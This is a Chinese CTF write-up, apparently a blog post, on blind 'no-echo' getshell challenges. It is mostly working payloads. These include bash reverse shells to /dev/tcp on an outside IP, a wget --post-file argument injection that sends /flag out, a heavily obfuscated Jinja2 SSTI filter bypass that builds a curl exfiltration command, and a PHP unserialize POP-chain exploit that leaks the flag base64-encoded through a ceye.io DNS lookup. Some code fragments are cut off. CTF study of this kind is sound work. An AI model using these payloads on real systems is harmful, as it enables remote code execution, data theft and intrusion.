自从打完Geek challenge后发现现在的很多题都趋于一种无回显getshell的形式,像反序列化、SSTI、RCE、代码审计等题目都会出现,记录几道复现出的无回显getshell
", ";", "|", "{", "}", "/", " "];
return str_replace($black_list, "", $str);
}
if (isset($_GET['DATA'])) {
$data = $_GET['DATA'];
$addr = chijou_kega_no_junnka($data['ADDR']);
$port = chijou_kega_no_junnka($data['PORT']);
exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {
highlight_file(__FILE__);
}
可以通过数组传参绕过$data[‘ADDR’],exec处可以反弹shell
1.14.102.22:8115/?DATA[ADDR]=49.232.76.14&DATA[PORT]=4001
这样就可以把shell反弹到对应的ip端口,再用vps监听对应端口
nc -lvvp 4001
但是因为题目中,bash反弹shell写法,只能将命令从攻击机传到受害着,执行命令后没有回显就需要反弹给可回显的其他端口
bash -i >& /dev/tcp/49.232.76.14/4000 0>&1
监听端口,拿到shell,发现根目录flag.png
cat flag.png | base64
base64转图片得到flag
Go的代码审计题
wget路由中存在参数注入
wget?argv=1&argv=--post-file&argv=/flag&argv=http://49.232.76.14:4000
nc -lvvp 4000
过滤过滤引号、args、中括号、下划线、os、花括号、request、数字、print、count
print禁用了,可以curl外带;count禁用可以用length
payload:
?name=
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,cccc,ccccccccc,point,cc,ccc,cc,point,ccccccc,cccccc,point,c,cccc,maohao,cccc,c-c,c-c,c-c,xiegang,result)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}
i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
class c {
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}
class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}
class e {
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
if (isset($_GET['data'])) {
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
}
b类中有exec函数,可以执行命令,但需要调用__toString__方法
d类中return可以触发,从而调用__toString__,但前提是调用__invoke__
可以通过e类($this->afkl)(),让对象当做函数执行,调用invoke,但需要通过if判断,默认值是false
所以通过c类将其值改为true即可
EXP
i_want_2_listen_2_MaoZhongDu="curl `cat /flag|base64`.k5hf4g.ceye.io";
}
}
class c {
public $a;
public function __construct(){
$this->a=new e();
}
}
class d {
public $value;
public function __construct(){
$this->value=new b();
}
}
class e {
public $afkl;
public function __construct(){
$this->afkl=new d();
}
}
$a=new c();
echo base64_encode(serialize($a));
这里用的是ceye,因为dnslog不识别大小写得到的base编码无法正常解密
base64解密得到flag